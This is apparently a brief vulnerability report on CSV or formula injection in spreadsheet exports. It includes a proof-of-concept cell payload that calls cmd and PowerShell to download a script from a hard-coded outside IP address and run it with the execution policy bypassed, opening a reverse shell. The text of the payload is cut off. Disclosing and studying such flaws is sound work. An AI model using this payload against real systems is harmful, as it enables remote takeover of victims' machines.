### Summary Description: `CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel.

For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. *Payload*: > This is our payload and will be used in the vulnerable field during exploitation ``` =cmd|' /C powershell Invoke-WebRequest "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypas...
